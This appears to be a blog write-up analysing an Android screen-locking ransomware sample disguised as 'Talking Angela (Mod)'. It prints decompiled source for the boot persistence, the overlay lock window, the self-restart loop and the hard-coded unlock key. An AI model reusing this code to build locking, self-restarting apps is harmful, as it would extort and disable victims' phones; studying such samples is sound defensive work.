Android Malware - Talking Angela (Mod)
Introduction
Talking_Angela (Mod) is an Android ransome-ware that blocks the screen and impersonates as a Ministry of Internal Affairs, Russian Federation application and demands money from the user. This ransome-ware is very simple in design and even has the password hard-coded in the code itself. Thankfully Play Protect can identify this one and immediatedly disables the application
Decompiling the application
Let’s decompile the application first. I use JADX
as it gives a easy navigation GUI and decompiled source-view
Breaking down the source code
The malware has only 3 classes:
com.mycompany.myapp.BootReceiver
: A BroadcastReceiver for the android.intent.action.BOOT_COMPLETED broadcast action.com.mycompany.myapp.MainActivity
: The starting point of the application when launched. This and the BootReceiver does the same thingcom.mycompany.myapp.MyService
: This service is started by both the entry points and launches a sticky window that demands a ransom to unlock the device
Let’s look into the starting points first, the com.mycompany.myapp.MainActivity
package com.mycompany.myapp;
import adrt.ADRTLogCatReader;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
public class MainActivity extends Activity {
@Override
public void onCreate(Bundle bundle) {
ADRTLogCatReader.onContext(this, "com.aide.ui");
super.onCreate(bundle);
try {
startService(new Intent(this, Class.forName("com.mycompany.myapp.MyService")));
finish();
} catch (ClassNotFoundException e) {
throw new NoClassDefFoundError(e.getMessage());
}
}
}
Let’s look into another starting point, the com.mycompany.myapp.BootReceiver
package com.mycompany.myapp;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class BootReceiver extends BroadcastReceiver {
private final String BOOT_ACTION = "android.intent.action.BOOT_COMPLETED";
Context mContext;
@Override
public void onReceive(Context context, Intent intent) {
this.mContext = context;
if (intent.getAction().equalsIgnoreCase("android.intent.action.BOOT_COMPLETED")) {
try {
context.startService(new Intent(context, Class.forName("com.mycompany.myapp.MyService")));
} catch (ClassNotFoundException e) {
throw new NoClassDefFoundError(e.getMessage());
}
}
}
}
Both these entry-points first get a reference to com.mycompany.myapp.MyService
, to build a Intent and use that to start the service.
Let’s look at this service in AndroidManifest.xml
, before we jump into the code:
<service android:name="com.mycompany.myapp.MyService" android:enabled="true"/>
<receiver android:name="com.mycompany.myapp.BootReceiver"
android:permission="android.permission.RECEIVE_BOOT_COMPLETED"
android:enabled="true">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
<action android:name="android.intent.action.QUICKBOOT_POWERON"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</receiver>
Now for the main culprit let’s break down com.mycompany.myapp.MyService
. Let’s start with the UI code
public void onCreate() {
ADRTLogCatReader.onContext(this, "com.aide.ui");
this.windowManager = (WindowManager) getSystemService("window");
this.myView = (ViewGroup) ((LayoutInflater) getSystemService("layout_inflater")).inflate(R.layout.main, (ViewGroup) null);
this.chatHead = new ImageView(this);
this.chatHead.setImageResource(R.drawable.ic_launcher);
this.e1 = (EditText) this.myView.findViewById(R.id.mainEditText1);
((Button) this.myView.findViewById(R.id.mainButton1)).setOnClickListener(new View.OnClickListener(this) {
// Verification code reviewed later
});
WindowManager.LayoutParams layoutParams = new WindowManager.LayoutParams(-2, -2, 2002, 1, -3);
layoutParams.gravity = 17;
layoutParams.x = 0;
layoutParams.y = 0;
new View(this).setBackgroundColor(872349696);
this.windowManager.addView(this.myView, layoutParams);
These peices of code is basically responsile for creating the sticky window in the phone, like we can in the previous screenshots.
But the main ransom code is present in the View.OnClickListener
that validates the key
public void onClick(View view) {
if (this.this$0.e1.getText().toString().equals("2819613")) {
this.this$0.windowManager.removeView(this.this$0.myView);
try {
this.this$0.context.startService(new Intent(this.this$0.context, Class.forName("com.mycompany.myapp.MyService")));
} catch (ClassNotFoundException e) {
throw new NoClassDefFoundError(e.getMessage());
}
} else {
this.this$0.e1.setText("Неверный пароль!");
}
}
Quite suprsingly this onClick
handler checks against a static key. If it matches, then the view is removed and an error is triggered (I haven’t quite found the source)
But this doesn’t mean the malware de-activates. The malware starts to restart itself immediatedly as evident by the fact that the malware listens for and also from the line
this.this$0.context.startService(new Intent(this.this$0.context, Class.forName("com.mycompany.myapp.MyService")));
Stopping the Malware
Un-fortunately the malware can’t be stopped by putting in the key, because it’ll just restart itself again and again. Fortunately Play Protect recognises the malware immediatedly and blocks it. Also it must be noted during the re-launch code, a java.lang.NullPointerException occurs many times, thus crashing the entire application.